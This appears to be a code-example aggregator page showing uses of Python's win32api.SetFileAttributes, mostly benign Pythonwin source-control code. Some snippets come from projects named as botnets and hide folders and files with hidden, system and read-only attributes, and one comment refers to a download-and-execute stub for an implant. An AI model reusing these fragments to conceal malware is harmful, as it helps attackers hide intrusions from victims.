python类SetFileAttributes()的实例源码

Lo0sR.py 文件源码 项目:ActualBotNet 作者: invasi0nZ 项目源码 文件源码 阅读 21 收藏 0 点赞 0 评论 0
def create_hidden_folder(self):
        if os.path.exists(path_to_files):
            pass
        else:
            os.makedirs(path_to_files)
            win32api.SetFileAttributes(path_to_files, win32con.FILE_ATTRIBUTE_HIDDEN)
document.py 文件源码 项目:remoteControlPPT 作者: htwenning 项目源码 文件源码 阅读 31 收藏 0 点赞 0 评论 0
def MakeDocumentWritable(self):
        pretend_ss = 0 # Set to 1 to test this without source safe :-)
        if not self.scModuleName and not pretend_ss: # No Source Control support.
            win32ui.SetStatusText("Document is read-only, and no source-control system is configured")
            win32api.MessageBeep()
            return 0

        # We have source control support - check if the user wants to use it.
        msg = "Would you like to check this file out?"
        defButton = win32con.MB_YESNO
        if self.IsModified(): 
            msg = msg + "\r\n\r\nALL CHANGES IN THE EDITOR WILL BE LOST"
            defButton = win32con.MB_YESNO
        if win32ui.MessageBox(msg, None, defButton)!=win32con.IDYES:
            return 0

        if pretend_ss:
            print "We are only pretending to check it out!"
            win32api.SetFileAttributes(self.GetPathName(), win32con.FILE_ATTRIBUTE_NORMAL)
            self.ReloadDocument()
            return 1

        # Now call on the module to do it.
        if self.scModule is None:
            try:
                self.scModule = __import__(self.scModuleName)
                for part in self.scModuleName.split('.')[1:]:
                    self.scModule = getattr(self.scModule, part)
            except:
                traceback.print_exc()
                print "Error loading source control module."
                return 0

        if self.scModule.CheckoutFile(self.GetPathName()):
            self.ReloadDocument()
            return 1
        return 0
document.py 文件源码 项目:CodeReader 作者: jasonrbr 项目源码 文件源码 阅读 22 收藏 0 点赞 0 评论 0
def MakeDocumentWritable(self):
        pretend_ss = 0 # Set to 1 to test this without source safe :-)
        if not self.scModuleName and not pretend_ss: # No Source Control support.
            win32ui.SetStatusText("Document is read-only, and no source-control system is configured")
            win32api.MessageBeep()
            return 0

        # We have source control support - check if the user wants to use it.
        msg = "Would you like to check this file out?"
        defButton = win32con.MB_YESNO
        if self.IsModified(): 
            msg = msg + "\r\n\r\nALL CHANGES IN THE EDITOR WILL BE LOST"
            defButton = win32con.MB_YESNO
        if win32ui.MessageBox(msg, None, defButton)!=win32con.IDYES:
            return 0

        if pretend_ss:
            print("We are only pretending to check it out!")
            win32api.SetFileAttributes(self.GetPathName(), win32con.FILE_ATTRIBUTE_NORMAL)
            self.ReloadDocument()
            return 1

        # Now call on the module to do it.
        if self.scModule is None:
            try:
                self.scModule = __import__(self.scModuleName)
                for part in self.scModuleName.split('.')[1:]:
                    self.scModule = getattr(self.scModule, part)
            except:
                traceback.print_exc()
                print("Error loading source control module.")
                return 0

        if self.scModule.CheckoutFile(self.GetPathName()):
            self.ReloadDocument()
            return 1
        return 0
core.py 文件源码 项目:dreamr-botnet 作者: YinAndYangSecurityAwareness 项目源码 文件源码 阅读 18 收藏 0 点赞 0 评论 0
def hideFile(file):
    # (S)ystem, (H)idden, Not-(I)ndexed, (R)ead-only, 
    ShiraAttribs = win32con.FILE_ATTRIBUTE_HIDDEN | win32con.FILE_ATTRIBUTE_SYSTEM | win32con.FILE_ATTRIBUTE_READONLY | win32con.FILE_ATTRIBUTE_NOT_CONTENT_INDEXED

    try:
        win32api.SetFileAttributes(file, win32con.FILE_ATTRIBUTE_HIDDEN)
        win32api.SetFileAttributes(file, ShiraAttribs)
    except Exception as e:
        debug("core", "fail set shira permissions on file -> %s" % str(e))

# Shira file attribs unset
core.py 文件源码 项目:dreamr-botnet 作者: YinAndYangSecurityAwareness 项目源码 文件源码 阅读 19 收藏 0 点赞 0 评论 0
def unhideFile(file):
    # Set the file attributes back to their defaults
    ShiraAttribs = win32con.FILE_ATTRIBUTE_NORMAL

    try:
        win32api.SetFileAttributes(file, ShiraAttribs)
    except:
        debug("core", "fail set normal permissions on file")

# Generates an encoded download and execute stub. The primary Python implant
# will download this one. It bootstraps by looking at the PE manifest public key section


问题


面经


文章

微信
公众号

扫码关注公众号